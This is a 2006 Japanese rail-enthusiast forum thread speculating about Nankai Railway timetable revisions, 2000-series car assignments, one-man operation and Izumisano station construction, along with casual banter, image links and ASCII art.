603 :名無し野電車区:2006/12/15(金) 10:35:49 ID:H8q68qHW
なんだってなんだ

604 :名無し野電車区:2006/12/15(金) 10:49:08 ID:L8L1mE+p
しゃんとせんと釜が崎の連中に焼き討ちに遭うで

605 :名無し野電車区:2006/12/15(金) 10:56:19 ID:H8q68qHW
マルチ死ね

606 :名無し野電車区:2006/12/15(金) 12:29:43 ID:bmQ8ohHH
>>597
それも変わる・・・多分

607 :名無し野電車区:2006/12/15(金) 12:52:17 ID:EDff+0JB
堺線だけだよ

608 :名無し野電車区:2006/12/15(金) 12:58:49 ID:+IWNexIE
狭山駅でグモ発生

609 :名無し野電車区:2006/12/15(金) 14:25:48 ID:DP3iuWof
今でもダイヤが乱れてますな。
感覚的には高野線はダイヤの正常化は遅いね。
南海線の早さはピカ一だけど、それは設備投資の差だよな。

610 :名無し野電車区:2006/12/15(金) 14:36:12 ID:KUKLdsLf
人身事故の影響で河内長野行きの各停が北野田打ち切りになったりしてたな。
その列車は泉北の運転士が研修で運転してたけど。

611 :名無し野電車区:2006/12/15(金) 14:39:41 ID:XIatpNCb
想像だが泉佐野で工事中の残り1線て空港線内の折り返し用であって2000系の泉佐野〜和歌山市間のワンマン折り返し用では無いんじゃないかなと。
2000系をワンマン改造したりするには費用と時間がかかるし何より2000系4連とかワンマンに使えるのかと。
2000系本線運用開始後は今7100系が入っている普通運用(本線・空港線全体、各駅で2扉乗車位置の表示は必須となるが・・)に入れられ、玉突きで出た7100系を今7000が入っている優等列車運用に回す(7100系に雌車発生)。そして7000を廃車と。
2000系も休車分が一気に運用につくのではなく、1・2次車に関しては機器更新後(IGBT化)に7100を玉突きで出して7000を少しずつ置き換えていくんじゃないかと予測する。


612 :名無し野電車区:2006/12/15(金) 15:11:07 ID:XIatpNCb
>>611

こう考えるのはワンマン組み込み編成等一部を除いて

7000・・優等運用
7100・・普通運用

という棲み分けがほぼなされているから。高野線でも決まったスジで2000は運用されているのだから本線でもやろうと思えば出来ないことはないかと。2000による普通は昼間を主体に入れるとか。

613 :名無し野電車区:2006/12/15(金) 15:32:20 ID:VtUqKlya
前回改正以後は棲み分けはそんなキッチリしてないんじゃないかと

614 :名無し野電車区:2006/12/15(金) 15:41:14 ID:XIatpNCb
確かに以前に比べると7100が優等運用に入っていたりや7000が普通運用にというのが増えてるが次の改正で再び整理されるのではないかと。
2000系も次回改正では3次車以降(2042F・2043F・2034F+2038F・2031F+2032Fの4本)から運用開始。1・2次車は次の次の改正辺りから順次投入(?)かも。


615 :名無し野電車区:2006/12/15(金) 16:20:57 ID:9a4ghDRG
マジレスしてみれば佐野の残り一線は副本線で折り返し用ではないわけだが。
そもそも配線の関係で下り側からは入れんし。

そういえば難波方のポイント部分の高架は出来上がってきてるな。

616 :名無し野電車区:2006/12/15(金) 16:29:30 ID:XIatpNCb
>配線について

折り返しについてはわかったけど車両面についてだけ言えばそうなるかも知れんね。とりあえずワンマン運転だけはないんじゃないかなぁと。

617 :名無し野電車区:2006/12/15(金) 16:56:42 ID:H8q68qHW
ワンマン運転をせずに南北分断をする可能性も以前に示唆されていたわけだが

618 :名無し野電車区:2006/12/15(金) 17:50:59 ID:EDff+0JB
>>608
狭山・・・度重なるスレ住人からの虐めに耐えきれず・・・

619 :名無し野電車区:2006/12/15(金) 18:08:02 ID:H8q68qHW
まるで狭山が自殺したみたいじゃねえか

620 :高野山索道 ◆zcUcZzaxB2 :2006/12/15(金) 19:25:39 ID:zvk3SYMz
http://q.pic.to/716b2

621 :名無し野電車区:2006/12/15(金) 20:25:02 ID:7v0Y7cm3
ちょw中身うpwww

622 :名無し野電車区:2006/12/15(金) 20:52:37 ID:H8q68qHW
あかんやん

623 :名無し野電車区:2006/12/15(金) 21:13:07 ID:4aeOfzIW
二扉車が運用に入るならそろそろ扉位置をつけなければいけないんじゃないですか?
あと、本線のLEDは両数と扉数の切り替え機能はついているのですか?

624 :名無し野電車区:2006/12/15(金) 21:15:58 ID:4aeOfzIW
現状の運転体制は、少なくともどの車両をどれに入れても
出来る限り制限が無いように出来ていると思うんですよね。

そこに、二扉車を入れたとしても大丈夫なのでしょうか?

625 :名無し野電車区:2006/12/15(金) 21:32:00 ID:EDff+0JB
全部企業秘密です。

626 :名無し野電車区:2006/12/15(金) 21:41:41 ID:XIatpNCb
レスが来たのでお答えします。

>>623-624

>扉位置表示

そうですね。試運転も始まりましたしそろそろ始まるのではないでしょうか(改正に間に合うように)。

>LED

本線は現状ではまだまだです。しかし高野線のように様々な種別で運用されるなら別ですが自分の案では普通運用限定なので2枚扉は時刻表への表記だけでその必要(LED)はないかと考えます。

とりあえず2000系の廃車はないでしょう。

あなたは休車の2000系はどうなるとお考えですか??

627 :名無し野電車区:2006/12/15(金) 21:47:38 ID:4bRrYThL
てか、泉佐野のLEDは堺東や三日市町と同じで併記可能。

628 :名無し野電車区:2006/12/15(金) 21:56:42 ID:4aeOfzIW
>>626
私はあなたのように具体的な予想はしていないのですが、
本線であろうがどこであろうが、一般車に混じって働くより一定区間に専属の車両で入るのでは、
と考えましたが。もちろんここで何度も出てる(?)泉佐野より南かもしれなければ、
空港線シャトルとか、みさき公園より南とか、加太線を含む支線だけとかもあるのでは。
或いは、高野線に差し戻すと言うのとか、汐見橋線の思い切った改革に使うとか

あと、売却という手段もありでは無いでしょうか?

629 :名無し野電車区:2006/12/15(金) 21:58:45 ID:nkYw5JGX
>>608
またてっきり聖地浅香山とばかり(´・ω・`)

630 :名無し野電車区:2006/12/15(金) 22:03:35 ID:PHExAcf4
阪堺の堺市内線に使う>2000系

631 :名無し野電車区:2006/12/15(金) 22:05:37 ID:zVcxACNO
2000系は高野に返して(各駅停車)
その代わりに1000系と8200系を空港線に召し上げたほうが合理的かも

632 :名無し野電車区:2006/12/15(金) 22:09:53 ID:0pRW8f8o
>>628
一畑か大井川あたりの地方私鉄へはどうかな?

633 :名無し野電車区:2006/12/15(金) 22:12:01 ID:zHkeOQ0K
2000は複電圧にして貴志川線にくれ

634 :名無し野電車区:2006/12/15(金) 22:12:19 ID:Np3CGmP0
>>631
常識的に考えて8(ryは無理

635 :名無し野電車区:2006/12/15(金) 22:22:26 ID:nkYw5JGX
以南運用だろ、普通に

636 :名無し野電車区:2006/12/15(金) 22:28:18 ID:WqPdeFYX
>>634
そろそろ奴自体が常識じゃ(ry

637 :名無し野電車区:2006/12/15(金) 22:29:33 ID:0W7vjiN8
今日の人身事故でダイヤが乱れた時、河内長野のパタパタは「調整中」と
出るが三日市町のLEDは無表示全消灯だった。

638 :名無し野電車区:2006/12/15(金) 22:29:41 ID:WqPdeFYX
>>632
地方私鉄にはVVVF車は扱いにくいと思うが。
その上、大井川なんか保存鉄道みたいなもんだし。
熊………            ………なんでもない

639 :名無し野電車区:2006/12/15(金) 22:30:37 ID:WqPdeFYX
>>633
誰が譲渡するもんかよ。

買えよ。

640 :名無し野電車区:2006/12/15(金) 22:31:06 ID:H8q68qHW
熊本電鉄はマジで止めとけ。

641 :名無し野電車区:2006/12/15(金) 22:35:38 ID:nkYw5JGX
いや、東急5000的保存センスで持ってくれれば
まあ結局市電直通LRT化で既存の車両はあぼんだろうが

642 :名無し野電車区:2006/12/15(金) 22:43:14 ID:7v0Y7cm3
>>637
で、他は

643 :名無し野電車区:2006/12/15(金) 22:46:37 ID:bmQ8ohHH


644 :名無し野電車区:2006/12/15(金) 22:50:59 ID:Zlr2HKDW


645 :名無し野電車区:2006/12/15(金) 22:51:49 ID:gUDLS1iw
あれだよ
2000系は泉北高速鉄道に売却するんじゃね
それで泉北30000系を置き換えるんだよ

646 :名無し野電車区:2006/12/15(金) 22:52:33 ID:gUDLS1iw
>>644
空気読み忘れたwwwサーセンwwwwwwwwwwwwwww

647 :名無し野電車区:2006/12/15(金) 22:52:57 ID:H8q68qHW
非常に耳障りだ

648 :名無し野電車区:2006/12/15(金) 22:57:22 ID:VtUqKlya
>>645
泉北カラーの三代こうやが頭に

649 :名無し野電車区:2006/12/15(金) 23:00:56 ID:9a4ghDRG
とりあえず、泉佐野高架が出来上がるまでは大幅な改正はない。


と言うか物理的に出来んだろ。

650 :名無し野電車区:2006/12/15(金) 23:02:10 ID:bmQ8ohHH
何を今更

651 :名無し野電車区:2006/12/15(金) 23:03:03 ID:aYbIY3/2












                                                              南_海_は_ボ_ロ_い








652 :名無し野電車区:2006/12/15(金) 23:03:18 ID:H8q68qHW
>>649
え、それ前提の話じゃないのか?

653 :名無し野電車区:2006/12/15(金) 23:08:17 ID:EDff+0JB
>>645
ねーよ

654 :名無し野電車区:2006/12/15(金) 23:11:20 ID:XIatpNCb
>>628 おっしゃる事は最もです。2000系の運用開始を期待する内はいいですが実際に2000系が本線で運用し始めれば不便を感じるかも知れません。
ただ、支線転用となると2連車を単独運転可能にすると同時にワンマン化改造も必要になりますがこれだと2300系を作った意味も感じなくなります。
なのでそういった改造は行わず本線の泉佐野やみさき公園以南で運転するにしても2連車は2+2(4連は単独)で、ワンマン運転はないように思います。

655 :名無し野電車区:2006/12/15(金) 23:18:46 ID:9a4ghDRG
>652
違うと思うぞ。

だって佐野の高架の現状を見ると、まだ当分出来そうにないからな。

656 :名無し野電車区:2006/12/15(金) 23:28:37 ID:6b+qr4dk
>>654
2200系の廃車もけっこう急務

657 :名無し野電車区:2006/12/15(金) 23:43:17 ID:jhJiUzGf
>>654
2300系のポイントは山線で2両運転できる車両ということ。
2000系2両をワンマン編成としたところで、山線に入線させられない。
山線運用では主回路機器・補助電源・コンプレッサが
2ユニット備えていることが求められる。
だから21000系以降は4両編成での運行が定着していた。

頭を整理したまえ。別に南海線の泉佐野以南で2両運転しても差し支えはない。
ワンマン運転は電鉄側と組合側が合意する方向で話が進んでいる。

658 :名無し野電車区:2006/12/15(金) 23:43:39 ID:gnBftmlX
7000系よりは・・・

659 :名無し野電車区:2006/12/15(金) 23:52:36 ID:gnBftmlX
>>658>>656へのレスね

660 :名無し野電車区:2006/12/15(金) 23:55:06 ID:KqsTGj9T
そもそも4連だったらたった5編成で幾らなんでもちと足りんがな

661 :名無し野電車区:2006/12/15(金) 23:56:28 ID:kAetPFyP
初期車以外は二連になるんじゃね
今動き出した四連は戻るとかで

662 :名無し野電車区:2006/12/15(金) 23:58:01 ID:XIatpNCb
>>657

という事は山線運用でなければ2000系2連は単独で走る事は出来るという事ですか?

確かに昼間の普通4連はガラ空きです。ただワンマン2連で運転するにしても昼間など運転できる時間帯は限られるのではと思います。

663 :名無し野電車区:2006/12/15(金) 23:58:37 ID:VtUqKlya
実は2200が本線(ry

664 :名無し野電車区:2006/12/15(金) 23:59:59 ID:VtUqKlya
>>663
ねーよ

665 :名無し野電車区:2006/12/15(金) 23:59:59 ID:gnBftmlX
wyxe
http://uploader.onpuch.co.uk/img-box/img20061215214229cbbd3.jpg

666 :名無し野電車区:2006/12/15(金) 23:59:59 ID:hWT396mE


667 :名無し野電車区:2006/12/16(土) 00:00:11 ID:H8q68qHW


668 :名無し野電車区:2006/12/16(土) 00:00:32 ID:tR/GsBm7
今日もまずまずだな・・・って2200系本線はねーだろw

669 :名無し野電車区:2006/12/16(土) 00:00:40 ID:XIatpNCb
>>660

2042は2034+2038とトレード?

670 :名無し野電車区:2006/12/16(土) 00:00:43 ID:VtUqKlya
おめ

671 :名無し野電車区:2006/12/16(土) 00:01:37 ID:c7DAgoh+
逃した

お前らおめ

672 :名無し野電車区:2006/12/16(土) 00:02:52 ID:59XGMJdc
まあ2000系二連は殆ど必要無いからな

673 :名無し野電車区:2006/12/16(土) 00:04:13 ID:MPuZXMzn
●○*5●○*3●●○◎●○*7●*3○*7●○*2●◎◎CC◎BC○BB◎○◎○○BCB◎C◎○◎BB◎◎(27)
●C◎◎C◎B○◎◎◎B◎B◎◎B◎BC◎B○B(24) ●BC○BBDCBBC○B◎◎C◎◎BC○○B○BB(25)
2+2はあるのかね

674 :名無し野電車区:2006/12/16(土) 00:05:19 ID:gnBftmlX
>>672
でも基本6連組むからな・・・

675 :名無し野電車区:2006/12/16(土) 00:06:10 ID:MPuZXMzn
中間車中抜き組み換えと言う手段も考え付く・・・かもな

676 :名無し野電車区:2006/12/16(土) 00:06:30 ID:tR/GsBm7
ねーよw

677 :名無し野電車区:2006/12/16(土) 00:09:06 ID:i8opWQ7k
1000系の新車がどこにつくかにもよるぞ。
ワンマン枠だったら初期3編成以外にも4連が出来る想定もより容易に。

678 :名無し野電車区:2006/12/16(土) 00:10:44 ID:tR/GsBm7
wyxe
http://uploader.onpuch.co.uk/img-box/img200612152128092b5ef.jpg

679 :名無し野電車区:2006/12/16(土) 00:12:58 ID:tR/GsBm7
wyxe
http://www.agui.net/imglog/20/img-box/img20061212165309.jpg

680 :名無し野電車区:2006/12/16(土) 00:13:39 ID:tR/GsBm7
もいっちょwyxe
http://www.agui.net/imglog/20/img-box/img20061214163932.jpg

681 :名無し野電車区:2006/12/16(土) 00:13:42 ID:+lRB5o6N
仮に泉佐野以南がワンマン運転で2連になってもストレートに市内へ出られる区急は外してほしくないなと。乗り換えるのは嫌なんで・・

682 :名無し野電車区:2006/12/16(土) 00:15:48 ID:tR/GsBm7
最後wyxe
http://www.agui.net/imglog/20/img-box/img20061213204045.jpg

683 :名無し野電車区:2006/12/16(土) 00:16:13 ID:Wgb/2+GH
1000系2+2は凄く小さく見える

684 :名無し野電車区:2006/12/16(土) 00:18:31 ID:tR/GsBm7
>>681
特急は外れないから別にいいんじゃね
特急の止まらない駅の場合は二年間だけの特別ボーナスとでも思へ

685 :名無し野電車区:2006/12/16(土) 00:20:20 ID:Wgb/2+GH
だがボーナスにしてはちゃち(ry

686 :名無し野電車区:2006/12/16(土) 00:27:05 ID:i8opWQ7k
水間のイベンツ行く奴おる?

687 :名無し野電車区:2006/12/16(土) 00:29:18 ID:+lRB5o6N
それでも時間帯によっては運転されるんだろうね(区急)。って結局はどうなるかわからんけど。

688 :名無し野電車区:2006/12/16(土) 00:31:07 ID:tR/GsBm7
朝夕まで分断しねーから(多分)安心しる

689 :名無し野電車区:2006/12/16(土) 00:32:06 ID:dogiy2uB
>>681
昨日発表された阪急京都線の新ダイヤを見習えば
特急と普通だけでいけるかもしれんぞw

690 :名無し野電車区:2006/12/16(土) 00:32:10 ID:tR/GsBm7
>>686
ノシ

691 :名無し野電車区:2006/12/16(土) 00:32:50 ID:tR/GsBm7
>>689
自由席特急だけならな・・・てか堺筋準急とな

692 :名無し野電車区:2006/12/16(土) 00:37:02 ID:B4kb7dHQ
まぁ昭和40年代は本線でも2扉車が普通運用で走っていたし
それでも不便はなかった・・・・1201系だけどねぇ

693 :名無し野電車区:2006/12/16(土) 00:37:27 ID:tR/GsBm7
いつの話だよw

694 :名無し野電車区:2006/12/16(土) 00:38:11 ID:B4kb7dHQ
>>693
ばれたかww

695 :名無し野電車区:2006/12/16(土) 00:40:52 ID:NUxFMLaB
>>689
それなら準急は必須だ

696 :名無し野電車区:2006/12/16(土) 00:41:06 ID:59XGMJdc
まあ昭和末期まで走ってたがな>二扉

697 :名無し野電車区:2006/12/16(土) 00:41:59 ID:tR/GsBm7
>>696
その理論なら今は一扉走らせても大丈夫じゃねーかwww

698 :名無し野電車区:2006/12/16(土) 00:46:12 ID:B4kb7dHQ
>>697
おいおいおい、阪堺鉄道時代まで遡ってどうするwww

699 :名無し野電車区:2006/12/16(土) 00:48:59 ID:59XGMJdc
>>698
待てよ
俺は普通だなんて一言も

700 :名無し野電車区:2006/12/16(土) 00:49:06 ID:MPuZXMzn
700

701 :名無し野電車区:2006/12/16(土) 00:49:23 ID:Jmpc/3TF
譲渡するなら“しな鉄”

702 :名無し野電車区:2006/12/16(土) 00:50:12 ID:MPuZXMzn

支那鉄?

703 :名無し野電車区:2006/12/16(土) 00:59:46 ID:P2L6taY0
>>631
>>701
黙れ門跡寺院。

704 :名無し野電車区:2006/12/16(土) 01:00:01 ID:tR/GsBm7
>>702


705 :名無し野電車区:2006/12/16(土) 01:04:41 ID:VCCVHyuO
酉おめ

ところで、サザンの後釜は何になるのかと

706 :名無し野電車区:2006/12/16(土) 01:04:41 ID:B4kb7dHQ
>>699
すまん、一扉車でついつい蒸気時代のマッチ箱客車まで遡ってしまった。

その頃の蒸気機関車をモチーフにした車両が今も浜寺公園で走っている・・・・

707 :名無し野電車区:2006/12/16(土) 01:14:17 ID:59XGMJdc
>>706
こちらこそすまん
それ俺宛てじゃないことに気付いた・・・ちなみに>>696

708 :名無し野電車区:2006/12/16(土) 01:15:21 ID:VCCVHyuO
創始時代・・・

709 :名無し野電車区:2006/12/16(土) 01:25:35 ID:tR/GsBm7
>>706-707
あれ、もしかして、俺へのレス?
そうか、ちなみに一扉ってのはな、あの機関車みたいな鉄人特急だよ

710 :名無し野電車区:2006/12/16(土) 01:33:39 ID:+lRB5o6N
>>681 ・・てかよく考えたら次の改正時には南海沿線にいないわ。気にする事なかったなwまぁそれでも改正内容は気になるわ。

711 :名無し野電車区:2006/12/16(土) 01:39:42 ID:VCCVHyuO
おやすみ

712 :名無し野電車区:2006/12/16(土) 01:47:36 ID:43Tt2yHg
スーパー玉出

713 :名無し野電車区:2006/12/16(土) 01:47:53 ID:rxQLJNFj
おやすみ

714 :名無し野電車区:2006/12/16(土) 01:50:59 ID:59XGMJdc
おやすみ

715 :名無し野電車区:2006/12/16(土) 01:56:07 ID:T18bQ5b4
外出たら寒す
次の改正は5月だけど何か?

716 :名無し野電車区:2006/12/16(土) 03:34:27 ID:qjzTV6bb
夜空に書いてあったのか?

717 :名無し野電車区:2006/12/16(土) 04:53:30 ID:i8opWQ7k
おはよう

718 :名無し野電車区:2006/12/16(土) 09:55:22 ID:+X+kzd/f
>>715
連休明けかな。
本線&高野線同時改正になるとおもしろいけど。

719 :名無し野電車区:2006/12/16(土) 11:27:26 ID:MPuZXMzn
水間新車ktkr

720 :名無し野電車区:2006/12/16(土) 12:49:08 ID:59XGMJdc
>>718
簡単に信じるなよ

721 :名無し野電車区:2006/12/16(土) 15:22:36 ID:VjOSpfqZ
企業秘密です。

722 :名無し野電車区:2006/12/16(土) 16:24:33 ID:GxvailVX
水間鉄道に改造車がデビゥしたが沿線にそれほど変化なし。
以上報告終わり。

723 :名無し野電車区:2006/12/16(土) 16:35:43 ID:MPuZXMzn
LEDついたな

724 :名無し野電車区:2006/12/16(土) 17:51:49 ID:9Mpz55kW
こないだ御幸辻の行った。展示の協力者に太郎さんの名前と顔写真が…。てことは展示物は太郎さんのコレクション!?恐れ入りました。

725 :名無し野電車区:2006/12/16(土) 19:09:38 ID:Wgb/2+GH
全部が全部そうではないとは思うが・・・な

726 :名無し野電車区:2006/12/16(土) 19:44:51 ID:T2iGXBJs
案内でつ。
【害厨駆除】なにわ筋・外環状線★10【南北病撲滅】
http://hobby7.2ch.net/test/read.cgi/rail/1166173753/

727 :関西に住むなら:2006/12/16(土) 20:03:59 ID:i1yOQD8p
京阪神の主な有名高級住宅街
芦屋市 六麓荘など多数
★神戸市 御影 岡本 住吉山手など (政令指定都市)
西宮市 甲子園 甲東園 夙川 苦楽園など
宝塚市 雲雀丘花屋敷
★大阪市 帝塚山 北畠 上本町など (政令指定都市)
★堺市  大美野 浜寺 初芝など (政令指定都市)
吹田市 千里山 
池田市 室町 五月山
箕面市 桜井 桜ヶ丘など
寝屋川市、枚方市 香里園
高槻市 南平台
豊中市 東豊中 上野東
高石市 羽衣
★京都市 御室 衣笠 下鴨 北山など多数 (政令指定都市)
奈良市 学園前など
生駒市 東生駒
★は政令指定都市
http://allabout.co.jp/house/townkansai/closeup/CU20060130A/index.htm

728 :名無し野電車区:2006/12/16(土) 20:12:23 ID:59XGMJdc
>>722
そりゃどっちの沿線?

729 :名無し野電車区:2006/12/16(土) 20:41:07 ID:MPuZXMzn
どっちも変わってないよ。
ってか1000形にヘッドマークつけてるだけで何ら変化なし。

730 :名無し野電車区:2006/12/16(土) 20:49:02 ID:c7DAgoh+
車両が一本改造されて沿線が変わるわけでもなし

731 :名無し野電車区:2006/12/16(土) 20:54:40 ID:UCrJv9+l
7000系が一両アボーンされるだけでだいぶ変わると、思うよ

732 :名無し野電車区:2006/12/16(土) 21:06:09 ID:HTgyF6ar
泉佐野の高架工事はいつ完成するんですか?
2007年といわれてますが本当に終わるんですか?
毎回地下の階段を昇り降りしなければならないのが、非常に苦痛なんですが…
早く入り口を平面にしてほすぃ…

733 :名無し野電車区:2006/12/16(土) 21:31:52 ID:59XGMJdc
駅前に工期くらい書いてるだろ

734 :名無し野電車区:2006/12/16(土) 21:32:32 ID:59XGMJdc
>>731
このスレは祭りになるだろうな

735 :名無し野電車区:2006/12/16(土) 21:44:29 ID:Q0j3CCGv
ズームカーをそのまま北線に適当に入れたとして、
ガラクタ7000よりコストダウン出来るのか?

736 :名無し野電車区:2006/12/16(土) 21:47:58 ID:TweudVFZ
阪堺南霞町みたいに萩ノ茶屋で焼き討ちに遭わないように

737 :名無し野電車区:2006/12/16(土) 21:48:48 ID:59XGMJdc
>>735
企業秘密です。

738 :名無し野電車区:2006/12/16(土) 22:05:28 ID:VcfRktCo
>>731
1両がダメになると言うことは、そのまま2・4両編成が丸ごと除籍される。

>>735
泉佐野以北で2000系運用計画はない。

739 :名無し野電車区:2006/12/16(土) 22:23:46 ID:KciLLKbn
住ノ江で落ちた7100系は既存編成に組み込まれてない?

740 :名無し野電車区:2006/12/16(土) 22:28:03 ID:VcfRktCo
残りの7890-7162が7123-7951と組んでいるのではなかったかな?

741 :名無し野電車区:2006/12/16(土) 22:44:31 ID:mxEpCTPw
太郎プレゼンツで南海博物館作れ

742 :名無し野電車区:2006/12/16(土) 22:55:24 ID:c7DAgoh+
どこに?

743 :名無し野電車区:2006/12/16(土) 23:11:20 ID:PqbINLkV
昔旧型と言われた車両は両開き扉だったのに何で今は片開きなのか。

744 :名無し野電車区:2006/12/16(土) 23:13:37 ID:Q0j3CCGv
>>738
想定だろうが。誰がそんなこと聞いたんだ。

745 :名無し野電車区:2006/12/16(土) 23:29:02 ID:59XGMJdc
>>743
阪堺には大昔の両開きが残存
堺に直通開始したら新型の両開きも来る一方、動態保存で二両くらい残るから・・・

746 :名無し野電車区:2006/12/16(土) 23:29:53 ID:0SFA95to
車両動向も気になるところ、でもダイヤ改正の詳細も気にならないか?
株主向け中間決算の案内の中で、旅客の減少は鈍化するも減少の歯止めなくとある。
これは、社会全体の傾向によるもので大きな問題はないが、
今の社長は、旅客の減少が続けばさらなる効率化を進めると言い続けてきた人だけに不安もある。
聖域だった高野線の山線の区間に手をつけたのもこの体制の中のこと。
向こう数年間は全体で現状維持を願うところだ。
定期券旅客に関しては復活しているし、沿線の年齢構成等を見れば他私鉄ほど少子高齢化の影響も受けず
守りから攻めに転じるのも悪くないと思うが。

747 :名無し野電車区:2006/12/16(土) 23:33:09 ID:DnJvLoH6
南海線はデータイムの空急6本/h化と泉佐野以南の普通車ワンマン運転開始、
山線ワンマン化が完了している高野線は橋本方面の強化方針で決定でしょうな。

748 :名無し野電車区:2006/12/16(土) 23:34:40 ID:59XGMJdc
次は本線で昼間急行以下の南北分断、
高野線に関しては特に変わりなく本線に合わせて時刻が若干変わる、以上だろ。
泉北準急にはまだ手を付けない。おそらくな。

749 :名無し野電車区:2006/12/16(土) 23:43:00 ID:EaPuoypN
2000系の試運転してるよね〜

750 :名無し野電車区:2006/12/16(土) 23:43:54 ID:tR/GsBm7
泉北準急に手をつけるはZ乗り入れを示唆するマークを見た時点での邪推

751 :名無し野電車区:2006/12/16(土) 23:47:12 ID:tR/GsBm7
wyxe
http://uploader.onpuch.co.uk/img-box/img200612162329342e298.jpg

752 :名無し野電車区:2006/12/16(土) 23:48:46 ID:tfahkjnl
>>751
何か変だな

753 :名無し野電車区:2006/12/16(土) 23:51:37 ID:Wgb/2+GH
>>751
ホントなんか幕もそっくりだし・・・

754 :名無し野電車区:2006/12/16(土) 23:53:26 ID:tR/GsBm7
wyxうわ何すんだ(ry
http://uploader.onpuch.co.uk/img-box/img200612162152277ac41.jpg

755 :名無し野電車区:2006/12/16(土) 23:54:40 ID:0SFA95to
泉北の運転士が高野線で運転研修をしているのも気になる。
しかも中百舌鳥以南とは色々勘ぐってしまいそう。
泉北線の運行本数を削減されて、余った人員を南海で面倒を見る形かも?
データイムは準急の運転を取り止めて2000系を泉北に閉じ込めておく?
泉北線は典型的なベッドタウンなので旅客の多くは朝夕のラッシュ時に集中する。
いくら何でもラッシュ時に2000系は無理がありそうなので、2000系の泉北線運用は昼間とみてますが。
泉北は街開きから25年だっけ?住民は団塊の世代がメインだから来年位から一気に旅客が減りそうだから
朝ラッシュ時でも中百舌鳥止めならいけるかも知れんけど。
本線と違って高野線は予想がつかん・・・

756 :名無し野電車区:2006/12/16(土) 23:57:29 ID:Erdycbvc
泉北は線内走っとけ。

757 :名無し野電車区:2006/12/16(土) 23:57:33 ID:Vh7Yd/xa
運転研修の理由はこのスレのどこかに書かれていたはず

758 :名無し野電車区:2006/12/16(土) 23:57:59 ID:tR/GsBm7
掛かれて棚

759 :名無し野電車区:2006/12/16(土) 23:58:28 ID:tAdqR5GW
切羽詰っている

760 :名無し野電車区:2006/12/16(土) 23:59:58 ID:c7DAgoh+
>>754
アッー!

761 :名無し野電車区:2006/12/16(土) 23:59:58 ID:tR/GsBm7
なんだ、コメントなしかよ・・・つまらんな。wyxeだけど。

762 :名無し野電車区:2006/12/16(土) 23:59:59 ID:Erdycbvc
今日も余裕の鳥。

763 :名無し野電車区:2006/12/16(土) 23:59:59 ID:af7xd0ZQ
あーあ

764 :名無し野電車区:2006/12/17(日) 00:00:33 ID:GMz96RlC
今日も乙

765 :名無し野電車区:2006/12/17(日) 00:00:44 ID:tR/GsBm7
くそっミスった

766 :名無し野電車区:2006/12/17(日) 00:00:47 ID:VTNvi4Zq
俺残念

お前らおめ

767 :名無し野電車区:2006/12/17(日) 00:01:58 ID:59XGMJdc
>>754
神キタ━━(゚∀゚)━━!!

768 :名無し野電車区:2006/12/17(日) 00:02:41 ID:i8opWQ7k
誰が写したんだお決まりのアングルで(((;゚Д゚)))

769 :名無し野電車区:2006/12/17(日) 00:03:22 ID:MPuZXMzn
●○*5●○*3●●○◎●○*7●*3○*7●○*2●◎◎CC◎BC○BB◎○◎○○BCB◎C◎○◎BB◎◎(27)
●C◎◎C◎B○◎◎◎B◎B◎◎B◎BC◎B○B(24) ●BC○BBDCBBC○B◎◎C◎◎BC○○B○BB◎(26)
泉北は変わりなし、どうせな

770 :名無し野電車区:2006/12/17(日) 00:05:23 ID:tR/GsBm7
どうせって、別にいいじゃん変わりなしってのは

771 :名無し野電車区:2006/12/17(日) 00:08:39 ID:GMz96RlC
まあな、でも3000系は二〜三本くたばる

772 :名無し野電車区:2006/12/17(日) 00:10:09 ID:TCnMPDCw
wyxe
http://uploader.onpuch.co.uk/img-box/img20061216210056a1681.jpg

773 :名無し野電車区:2006/12/17(日) 00:11:44 ID:gQHHPQsN
>>772
これはよい糞長いホゥム・・・>>754トップナンバーやん

774 :名無し野電車区:2006/12/17(日) 00:13:46 ID:TCnMPDCw
見ちゃ駄目だって

775 :名無し野電車区:2006/12/17(日) 00:14:31 ID:95gOcftH
しかしあのホーム撤去しろよ、何上にそのまま機器設置してんだよ

776 :名無し野電車区:2006/12/17(日) 00:18:28 ID:TCnMPDCw
何か具体的な理由があった気がするが、
俺の脳内では気まぐれってことにしている。

777 :名無し野電車区:2006/12/17(日) 00:18:45 ID:GMz96RlC
777

778 :名無し野電車区:2006/12/17(日) 00:19:33 ID:hfCDLauR
>>747 空急6本というのはラピートと区急の分を足してということ?もしそうなったら泉佐野以南で1000系に乗る機会が減ってしまいそうで残念・・ 

779 :名無し野電車区:2006/12/17(日) 00:23:57 ID:z5mQMbZe
酉おめ

>>778
その代わり2000系に乗れる
まあラピートは1本/hは確実に残る

780 :名無し野電車区:2006/12/17(日) 00:27:22 ID:TCnMPDCw
wyxe…


  こ  れ  だ  !  
http://uploader.onpuch.co.uk/img-box/img20061216130551afce6.jpg

781 :名無し野電車区:2006/12/17(日) 00:28:19 ID:TCnMPDCw
http://uploader.onpuch.co.uk/img-box/img20061216115550ca078.jpg

782 :名無し野電車区:2006/12/17(日) 00:29:16 ID:LBCL+aPn
>>779
データイムのラピートは廃止。

783 :名無し野電車区:2006/12/17(日) 00:31:20 ID:z5mQMbZe
>>780
2000系が良い

784 :名無し野電車区:2006/12/17(日) 00:31:37 ID:TCnMPDCw
>>782
それは無い

785 :名無し野電車区:2006/12/17(日) 00:33:10 ID:95gOcftH
 ∧_∧      8200系?ぼこぼこにしてやんよ
 ( ・ω・)=つ≡つ
 (っ ≡つ=つ
 /   ) ババババ
 ( / ̄∪

786 :名無し野電車区:2006/12/17(日) 00:34:06 ID:LBCL+aPn
>>784
残念ながら、連絡橋区間における南海枠をフルに使っての空港急行増発なので
データイムから特急は撤退する。但しラッシュ時は逆にラピート増発!

787 :名無し野電車区:2006/12/17(日) 00:34:08 ID:TCnMPDCw
 +    . .. :....    ..  .. .
    ∧_∧    
    ( ・ω・)=つ ..+
    (っ ≡つ   .. ,
   +  .. .   ..   .  +..
   .. :..     __  ..
          .|: |
          .|: |
       .(二二X二二O
            |: |    ..:+ ..
      ∧∧ |: |
      /⌒ヽ),_|; |,_,,
_,_,_,_,,〜(,,  );;;;:;:;;;;:::ヽ,
   "" """""""",, ""/;
  "" ,,,  """  ""/:;;
  ""   ,,""""" /;;;::;;

788 :名無し野電車区:2006/12/17(日) 00:35:03 ID:GMz96RlC
>>786
その話に信憑性があるかどうかは・・・

789 :名無し野電車区:2006/12/17(日) 00:36:23 ID:LBCL+aPn
お隣の「はるか」も見直しをかけるようだし、空港特急網再編だな。

790 :名無し野電車区:2006/12/17(日) 00:38:06 ID:z5mQMbZe
昼間から完全に無くすと、少し問題があるわけで
